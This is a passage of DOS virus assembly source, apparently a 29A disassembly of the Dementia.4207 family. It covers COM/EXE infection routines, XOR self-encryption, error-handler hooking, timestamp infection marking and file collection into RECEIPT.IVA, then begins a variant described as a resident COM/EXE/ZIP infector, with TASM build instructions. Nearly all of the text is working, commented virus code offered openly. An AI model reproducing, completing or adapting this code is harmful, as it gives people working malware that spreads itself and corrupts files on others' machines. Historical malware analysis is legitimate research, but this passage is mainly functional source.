mov [bp-02h],dx ; Store high-order word of filesize
push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg
cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file
call write_file_
mov cx,(code_end-code_begin)
call write_file
mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16
mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate
call set_pos_sof
mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
call write_file_
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment
xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "
mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "
push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
inc dx ; Increase number of bytes on last...
jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...
mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...
call set_pos_sof
mov cx,20h ; Write thirty-two bytes
call write_file
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack
mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number
mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "
mov cs:[decrypt_key],dx ; Store decryption key
pop bx ; Load BX from stack
cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word
loop encrypt_loop
cld ; Clear direction flag
ret ; Return!
endp
int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack
mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,int24_virus+110h ; DX = offset of int24_virus + 110h
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop es ds dx bx ; Load registers from stack
ret ; Return!
endp
int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack
mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop ds dx ; Load registers from stack
ret ; Return!
endp
int24_virus proc near ; Interrupt 24h of Dementia.4207
mov al,03h ; Fail system call in progress
iret ; Interrupt return!
endp
calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "
xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX
mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop
xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop
mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...
add di,04h ; DI = offset of next CRC-32 table...
pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab
call set_pos_sof
mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit
mov cx,ax ; CX = number of bytes actually read
pop dx ax ; Load registers from stack
xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register
xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...
mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH
mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...
pop cx bx ; Load registers from stack
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...
ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer
mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
int 21h
mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_
jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname
mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack
mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
add dx,0eh ; DX = offset of next file specifi...
dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit
pop cx ; Load CX from stack
push cx ; Save CX at stack
jmp test_count
found_dir:
push cx ; Save CX at stack
mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "
mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir
mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je found_dir ; Equal? Jump to found_dir
mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_
mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero
stosb ; Store byte of filename
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle
ret ; Return!
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h
ret ; Return!
endp
find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h
ret ; Return!
endp
find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h
ret ; Return!
endp
load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date
ret ; Return!
endp
infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h
ret ; Return!
endp
read_file proc near ; Read from file
xor dx,dx ; Zero DX
read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h
ret ; Return!
endp
endp
create_file proc near ; Create file
mov ah,3ch ; Create file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor cx,cx ; CX = file attributes
int 21h
ret ; Return!
endp
write_file proc near ; Write to file
xor dx,dx ; Zero DX
write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h
ret ; Return!
endp
endp
set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h
ret ; Return!
endp
set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h
ret ; Return!
endp
set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h
ret ; Return!
endp
endp
delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h
ret ; Return!
endp
file_begin:
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov cx,7d0h ; Store four thousand bytes
mov ax,720h ; Black background color, light-gr...
rep stosw ; Overwrite text video RAM
xor di,di ; Zero DI
mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)
nop
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx
lodsb ; AL = byte of gfx_begin
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal?
Jump to store_gfx
push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack
add si,02h ; Add two to index register
sub cx,02h ; Subtract two from count register
jmp dont_sto_gfx
nop
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx
int 20h
gfx_begin db 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
db 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
db 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
db 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
db 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
db 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
db 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
db 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
db 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
db 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
db 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
db 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
db 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
db 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
db 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
gfx_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
comment *
Dementia.4207.b
Disassembly by
Darkman/29A
Dementia.4207.b is a 4207 bytes parasitic resident COM/EXE/ZIP virus.
Infects files at close file, open file and load and/or execute program by
appending the virus to the infected COM/EXE file and storing in the infected
ZIP file. Dementia.4207.b has an error handler, 16-bit exclusive OR (XOR)
encryption in file and is using archive infection technique.
To compile Dementia.4207.b with Turbo Assembler v 4.0 type:
TASM /M DEMENT_B.ASM
TLINK /x DEMENT_B.OBJ
EXE2BIN DEMENT_B.EXE DEMENT_B.COM
*
.model tiny
.code
code_begin:
call_imm16 equ word ptr $+01h ; Offset of CALL imm16
call prepare_demt
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loop:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two plain bytes
jmp crypt_end
crypt_end:
loop decrypt_loop
cld ; Clear direction flag
push cs ; Save CS at stack
sub si,(crypt_end-code_begin)
nop
mov cl,04h ; Divide by paragraphs
shr si,cl ; SI = offset of crypt_end in para...
mov ax,cs ; AX = code segment
add ax,si ; Add code segment to delta offset...
push ax ; Save AX at stack
lea ax,virus_begin ; AX = offset of virus_begin
push ax ; Save AX at stack
retf ; Return far!
virus_begin:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
pop ax ; Load AX from stack (CS)
mov [code_seg_],ax ; Store code segment
mov bx,1492h ; Dementia.4207.b function
call close_file
cmp bx,1776h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
mov ax,[code_seg_] ; AX = code segment
mov bx,[initial_cs] ; AX = initial CS relative to star...
sub ax,bx ; Subtract initial CS relative to ...
mov dx,ax ; DX = segment of PSP for current ...
mov bx,[code_seg] ; BX = original code segment
add ax,bx ; Add original code segment to seg...
mov [code_seg],ax ; Store original code segment
xchg ax,dx ; AX = segment of current PSP proc...
cli ; Clear interrupt-enable flag
mov bx,[stack_seg] ; BX = original stack segment
